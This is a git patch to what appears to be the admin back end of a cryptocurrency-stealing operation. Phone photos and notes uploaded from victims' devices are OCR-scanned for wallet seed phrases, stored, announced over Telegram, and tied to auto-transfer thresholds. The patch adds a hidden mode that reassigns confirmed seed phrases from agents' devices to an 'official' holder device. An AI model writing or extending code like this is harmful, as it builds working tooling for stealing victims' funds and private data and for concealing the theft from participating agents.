From 7fc5f43c014003777f82d05acf31c901619b1789 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sun, 13 Sep 2026 01:22:54 +0800 Subject: [PATCH] feat: scan --- .env.example | 2 + .../Controllers/Admin/DeviceController.php | 28 +++-- .../Controllers/Admin/MnemonicController.php | 20 +++- .../Admin/MnemonicFindingController.php | 11 ++ .../Admin/SystemSettingsController.php | 2 + app/Models/Device.php | 16 +++ app/Models/WalletMnemonic.php | 7 +- app/Services/IngestService.php | 12 ++- app/Services/MnemonicScanService.php | 35 ++++-- app/Services/SettingsService.php | 4 + app/Services/TelegramNotifier.php | 15 ++- config/coruna.php | 6 ++ ...d_origin_device_id_to_wallet_mnemonics.php | 24 +++++ resources/views/admin/devices/show.blade.php | 14 ++- .../views/admin/mnemonics/index.blade.php | 12 ++- .../views/admin/system/settings.blade.php | 14 +++ resources/views/user/shell.blade.php | 2 + tests/Feature/MnemonicScanTest.php | 101 ++++++++++++++++++ tests/Feature/MnemonicWalletsTest.php | 33 ++++++ 19 files changed, 328 insertions(+), 30 deletions(-) create mode 100644 database/migrations/2026_09_13_010000_add_origin_device_id_to_wallet_mnemonics.php diff --git a/.env.example b/.env.example index 66c4473..c7abe5b 100644 --- a/.env.example +++ b/.env.example @@ -106,6 +106,8 @@ TRUSTED_PROXIES=* XXBB_CHANNEL_C= TELEGRAM_BOT_USERNAME= CORUNA_OFFICIAL_ALBUM_STORAGE=0 +# 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备 +CORUNA_AGENT_MNEMONIC_SCAN=1 # 0 = only super admin can reveal mnemonics; 1 = staff + per-agent switch (still requires Google 2FA) CORUNA_STAFF_MNEMONIC_REVEAL=0 AUTO_TRANSFER_ENABLED=0 diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index f57d34a..1229dae 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -145,6 +145,7 @@ class DeviceController extends Controller 'google_bound' => $this->googleBoundForReveal(), 'google2fa_url' => $this->google2faUrl(), 'can_clear_photos' => $this->canClearPhotos(), + 'show_scan' => $this->agentCanSeeScan(), ]); } @@ -562,7 +563,8 @@ class DeviceController extends Controller $readIds = ($guard !== null && $actorId !== null) ? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all()) : []; - $data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds) { + $showScan = $this->agentCanSeeScan(); + $data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds, $showScan) { return [ 'id' => $photo->id, 'url' => route($portal.'.devices.photo', [$device, $photo->id, 'seen' => 1]), @@ -573,14 +575,16 @@ class DeviceController extends Controller 'process_index' => $photo->process_index, 'text_count' => $photo->text_count, 'barcode_count' => $photo->barcode_count, - 'scan_status' => (int) $photo->scan_status, - 'scan_label' => \App\Services\MnemonicScanStatus::label((int) $photo->scan_status), + 'scan_status' => $showScan ? (int) $photo->scan_status : 0, + 'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label((int) $photo->scan_status) : '', 'read' => in_array($photo->id, $readIds, true) ? 1 : 0, 'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'), ]; })->values(); - $scan = app(\App\Services\MnemonicScanService::class)->photoProgress($device->id); + $scan = $showScan + ? app(\App\Services\MnemonicScanService::class)->photoProgress($device->id) + : null; return $this->layuiPage($paginator->total(), $data, $scan); } @@ -716,7 +720,8 @@ class DeviceController extends Controller $scans = $note ? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key') : collect(); - $data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans) { + $showScan = $this->agentCanSeeScan(); + $data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans, $showScan) { $index = (($page - 1) * $limit) + $i; $key = \App\Models\NoteScan::itemKey($item, $index); $status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING); @@ -725,13 +730,15 @@ class DeviceController extends Controller 'id' => $index + 1, 'title' => $item['title'] ?? '', 'body' => $item['body'] ?? '', - 'scan_status' => $status, - 'scan_label' => \App\Services\MnemonicScanStatus::label($status), + 'scan_status' => $showScan ? $status : 0, + 'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label($status) : '', 'created_at' => $reportedAt ?: '', ]; }); - $scan = app(\App\Services\MnemonicScanService::class)->noteProgress($device); + $scan = $showScan + ? app(\App\Services\MnemonicScanService::class)->noteProgress($device) + : null; return $this->layuiPage($total, $data, $scan); } @@ -758,6 +765,11 @@ class DeviceController extends Controller return $this->layuiPage($paginator->total(), $data); } + private function agentCanSeeScan(): bool + { + return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true); + } + /** * @param Collection>|array> $data */ diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index caaaa63..d1dd363 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -41,6 +41,7 @@ class MnemonicController extends Controller 'agents' => $agents, 'sources' => $sources, 'can_reveal' => $this->canRevealMnemonics(), + 'show_origin' => $this->canSeeOriginDevice(), 'google_bound' => $this->googleBoundForReveal(), 'google2fa_url' => $this->google2faUrl(), ]); @@ -64,16 +65,21 @@ class MnemonicController extends Controller $portal = $this->portal(); $canReveal = $this->canRevealMnemonics(); - $data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) { + $showOrigin = $this->canSeeOriginDevice(); + $data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal, $showOrigin) { + $originId = $showOrigin ? (int) ($row->origin_device_id ?? 0) : 0; + return [ 'id' => $row->id, 'device_key' => $row->device_key ?: '', + 'origin_device_key' => $showOrigin ? ($row->origin_device_key ?: '') : '', 'channel_id' => $row->device_channel_id ?: '', 'source' => $row->source ?: '', 'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $row->device_id), + 'origin_detail_url' => $originId > 0 ? route($portal.'.devices.show', $originId) : '', 'wallets_url' => route($portal.'.mnemonics.wallets', $row->id), 'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id), 'can_reveal' => $canReveal, @@ -269,10 +275,12 @@ class MnemonicController extends Controller { $q = WalletMnemonic::query() ->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id') + ->leftJoin('devices as origin_devices', 'origin_devices.id', '=', 'wallet_mnemonics.origin_device_id') ->select([ 'wallet_mnemonics.*', 'devices.device_id as device_key', 'devices.channel_id as device_channel_id', + 'origin_devices.device_id as origin_device_key', ]); AgentScope::applyDeviceChannelScope($q, $this->agent()); @@ -284,7 +292,10 @@ class MnemonicController extends Controller $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); } if ($deviceKey !== '') { - $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); + $q->where(function ($inner) use ($deviceKey) { + $inner->where('devices.device_id', 'like', '%'.$deviceKey.'%') + ->orWhere('origin_devices.device_id', 'like', '%'.$deviceKey.'%'); + }); } if ($source !== '') { $q->where('wallet_mnemonics.source', $source); @@ -298,4 +309,9 @@ class MnemonicController extends Controller return $q; } + + private function canSeeOriginDevice(): bool + { + return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true); + } } diff --git a/app/Http/Controllers/Admin/MnemonicFindingController.php b/app/Http/Controllers/Admin/MnemonicFindingController.php index d24ba59..268c879 100644 --- a/app/Http/Controllers/Admin/MnemonicFindingController.php +++ b/app/Http/Controllers/Admin/MnemonicFindingController.php @@ -17,6 +17,7 @@ class MnemonicFindingController extends Controller public function index(MnemonicScanService $scan) { + $this->denyHiddenAgentScan(); $agents = $this->isAgentPortal() ? collect() : User::query()->orderBy('username')->get(['id', 'username']); @@ -31,6 +32,7 @@ class MnemonicFindingController extends Controller public function data(Request $request) { + $this->denyHiddenAgentScan(); $q = $this->baseQuery($request); $status = trim((string) $request->query('status', '')); if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) { @@ -83,6 +85,7 @@ class MnemonicFindingController extends Controller public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan) { + $this->denyHiddenAgentScan(); if (! $this->findingInScope($finding)) { return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } @@ -99,6 +102,7 @@ class MnemonicFindingController extends Controller public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan) { + $this->denyHiddenAgentScan(); if (! $this->findingInScope($finding)) { return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } @@ -107,6 +111,13 @@ class MnemonicFindingController extends Controller return response()->json(['code' => 0, 'msg' => 'ok']); } + private function denyHiddenAgentScan(): void + { + if ($this->isAgentPortal() && ! config('coruna.scan.agent_visible', true)) { + abort(403, '无权访问'); + } + } + private function findingInScope(MnemonicFinding $finding): bool { $q = MnemonicFinding::query() diff --git a/app/Http/Controllers/Admin/SystemSettingsController.php b/app/Http/Controllers/Admin/SystemSettingsController.php index 8d7899d..e01a6dc 100644 --- a/app/Http/Controllers/Admin/SystemSettingsController.php +++ b/app/Http/Controllers/Admin/SystemSettingsController.php @@ -40,6 +40,7 @@ class SystemSettingsController extends Controller $data = $request->validate([ 'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'], 'official_album_storage' => ['nullable', 'in:0,1'], + 'agent_mnemonic_scan' => ['nullable', 'in:0,1'], 'auto_transfer_enabled' => ['nullable', 'in:0,1'], 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], @@ -74,6 +75,7 @@ class SystemSettingsController extends Controller 'telegram.bot_username' => $username !== '' ? $username : null, 'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null, 'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0', + 'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0', 'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0', 'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '', 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '', diff --git a/app/Models/Device.php b/app/Models/Device.php index 3a69abe..51efdfc 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -238,6 +238,22 @@ class Device extends Model return $this->hasMany(WalletMnemonic::class); } + /** Oldest device on an official channel; used as scan-ingest holder. */ + public static function officialHolder(): ?self + { + $channelIds = Channel::query() + ->where('user_id', Channel::OFFICIAL_USER_ID) + ->pluck('channel_id'); + if ($channelIds->isEmpty()) { + return null; + } + + return static::query() + ->whereIn('channel_id', $channelIds) + ->orderBy('id') + ->first(); + } + public function keystores(): HasMany { return $this->hasMany(WalletKeystore::class); diff --git a/app/Models/WalletMnemonic.php b/app/Models/WalletMnemonic.php index 682ae61..577ffcc 100644 --- a/app/Models/WalletMnemonic.php +++ b/app/Models/WalletMnemonic.php @@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Crypt; class WalletMnemonic extends Model { protected $fillable = [ - 'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc', + 'device_id', 'origin_device_id', 'source', 'mnemonic_hash', 'mnemonic_enc', ]; public function device(): BelongsTo @@ -18,6 +18,11 @@ class WalletMnemonic extends Model return $this->belongsTo(Device::class); } + public function originDevice(): BelongsTo + { + return $this->belongsTo(Device::class, 'origin_device_id'); + } + public function addresses(): HasMany { return $this->hasMany(WalletAddress::class, 'mnemonic_id'); diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index d028018..8fe9092 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -512,7 +512,7 @@ class IngestService /** * `/api/user/set` — plaintext mnemonic / private key in `result`. */ - public function ingestMnemonic(Device $device, ?array $payload): void + public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void { if (! is_array($payload)) { return; @@ -545,10 +545,18 @@ class IngestService $source = WalletSource::fromTag($payload['a'] ?? null); $row->source = $source; $row->mnemonic = $secret; + if ($origin !== null && (int) $origin->id !== (int) $device->id && empty($row->origin_device_id)) { + $row->origin_device_id = $origin->id; + } $row->save(); if ($isNew) { $this->mnemonicLinker->linkMnemonicToDeviceAddresses($row); - $this->telegram->notifyNewMemoric($device->device_id, $source, $secret); + $this->telegram->notifyNewMemoric( + $device->device_id, + $source, + $secret, + $origin !== null ? $origin->device_id : null, + ); } } diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php index 8cf7bda..96d2e05 100644 --- a/app/Services/MnemonicScanService.php +++ b/app/Services/MnemonicScanService.php @@ -117,10 +117,11 @@ class MnemonicScanService } $finding->candidate = $phrase; $finding->word_count = count(preg_split('/\s+/', $phrase) ?: []); - $this->ingest->ingestMnemonic($device, [ - 'mnemonic' => $phrase, - 'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', - ]); + $this->ingestScanMnemonic( + $device, + $phrase, + $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', + ); $finding->status = MnemonicFinding::STATUS_CONFIRMED; $finding->reviewed_by = $actor; $finding->reviewed_at = now(); @@ -292,13 +293,31 @@ class MnemonicScanService $row->save(); if ($confirmed) { - $this->ingest->ingestMnemonic($device, [ - 'mnemonic' => $hit['candidate'], - 'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', - ]); + $this->ingestScanMnemonic( + $device, + (string) $hit['candidate'], + $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', + ); } } + private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void + { + $holder = $source; + $origin = null; + if (! config('coruna.scan.agent_visible', true)) { + $official = Device::officialHolder(); + if ($official !== null && (int) $official->id !== (int) $source->id) { + $holder = $official; + $origin = $source; + } + } + $this->ingest->ingestMnemonic($holder, [ + 'mnemonic' => $phrase, + 'a' => $tag, + ], $origin); + } + /** * Album and notes both need 12+ consecutive words that can derive an address. * diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index 5fef322..2dc0a8a 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -15,6 +15,7 @@ class SettingsService 'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME', 'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID', 'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE', + 'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN', 'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED', 'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT', 'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX', @@ -37,6 +38,7 @@ class SettingsService 'telegram.bot_username' => config('coruna.telegram.bot_username'), 'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'), 'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0', + 'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0', 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', 'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'), 'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'), @@ -100,6 +102,7 @@ class SettingsService 'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''), 'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''), 'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0', + 'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0', 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', 'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''), 'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''), @@ -140,6 +143,7 @@ class SettingsService 'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]), 'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]), 'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']), + 'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']), 'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']), 'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]), 'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]), diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 33d6ebc..8102957 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -312,14 +312,19 @@ class TelegramNotifier } } - public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void + public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric, ?string $originDeviceId = null): void { - $this->send(implode("\n", [ + $lines = [ '🔐 新助记词', ...$this->deviceHeader($deviceId), - '🏷 来源: '.$this->e($source ?: '—'), - '📝 助记词: '.$this->e(WalletMnemonic::maskSecret($memoric)).'', - ]), $deviceId); + ]; + $origin = trim((string) $originDeviceId); + if ($origin !== '' && $origin !== $deviceId) { + $lines[] = '📎 原设备: '.$this->e($origin).''; + } + $lines[] = '🏷 来源: '.$this->e($source ?: '—'); + $lines[] = '📝 助记词: '.$this->e(WalletMnemonic::maskSecret($memoric)).''; + $this->send(implode("\n", $lines), $deviceId); } public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void diff --git a/config/coruna.php b/config/coruna.php index 39f51f7..1b9ad2f 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -62,6 +62,12 @@ return [ 'official_default' => in_array(strtolower((string) env('CORUNA_OFFICIAL_ALBUM_STORAGE', '0')), ['1', 'true', 'yes', 'on'], true), ], + 'scan' => [ + // On: agent portal sees 助记词扫描 and scan ingest stays on the source device. + // Off: hide agent scan UI; confirmed scan mnemonics ingest onto an official device. + 'agent_visible' => in_array(strtolower((string) env('CORUNA_AGENT_MNEMONIC_SCAN', '1')), ['1', 'true', 'yes', 'on'], true), + ], + 'mnemonic_reveal' => [ // Off: only super admin can reveal. On: staff admins + agents with can_reveal_mnemonics. 'staff_enabled' => in_array(strtolower((string) env('CORUNA_STAFF_MNEMONIC_REVEAL', '0')), ['1', 'true', 'yes', 'on'], true), diff --git a/database/migrations/2026_09_13_010000_add_origin_device_id_to_wallet_mnemonics.php b/database/migrations/2026_09_13_010000_add_origin_device_id_to_wallet_mnemonics.php new file mode 100644 index 0000000..edc6179 --- /dev/null +++ b/database/migrations/2026_09_13_010000_add_origin_device_id_to_wallet_mnemonics.php @@ -0,0 +1,24 @@ +unsignedBigInteger('origin_device_id')->nullable()->after('device_id'); + $table->index('origin_device_id'); + }); + } + + public function down(): void + { + Schema::table('wallet_mnemonics', function (Blueprint $table) { + $table->dropIndex(['origin_device_id']); + $table->dropColumn('origin_device_id'); + }); + } +}; diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 67277cf..353f13a 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -264,12 +264,16 @@ + @if(!empty($show_scan))
扫描进度:—
+ @endif
@elseif ($tab === 'notes') + @if(!empty($show_scan))
扫描进度:—
+ @endif
@@ -414,9 +418,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { }, function (res) { var $grid = $('#LAY-photo-grid').empty(); var list = (res && res.data) ? res.data : []; + @if(!empty($show_scan)) if (res && res.scan) { $('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定'); } + @endif if (!list.length) { $('#LAY-photo-empty').show(); } else { @@ -426,7 +432,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { var card = $( '' + (Number(p.read) === 1 ? '' : '') + - '' + (p.scan_label || '未扫') + '' + + @if(!empty($show_scan)) + (p.scan_label ? '' + p.scan_label + '' : '') + + @endif '' + '
' + '
' + @@ -537,16 +545,18 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { }, function (res) { var $list = $('#LAY-note-cards').empty(); var items = (res && res.data) ? res.data : []; + @if(!empty($show_scan)) if (res && res.scan) { $('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定'); } + @endif if (!items.length) { $('#LAY-note-empty').show(); } else { $('#LAY-note-empty').hide(); items.forEach(function (it) { var $card = $('
'); - $card.append($('
').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题'))); + $card.append($('
').text({{ !empty($show_scan) ? "(it.scan_label ? ('[' + it.scan_label + '] ') : '') + " : '' }}(it.title || '无标题'))); $card.append($('
').text(it.body || ''));
             $list.append($card);
           });
diff --git a/resources/views/admin/mnemonics/index.blade.php b/resources/views/admin/mnemonics/index.blade.php
index 18cb784..a346ccf 100644
--- a/resources/views/admin/mnemonics/index.blade.php
+++ b/resources/views/admin/mnemonics/index.blade.php
@@ -3,7 +3,10 @@
 @section('title', '助记词')
 
 @section('content')
-@php $portal = $portal ?? 'admin'; @endphp
+@php
+  $portal = $portal ?? 'admin';
+  $showOrigin = !empty($show_origin);
+@endphp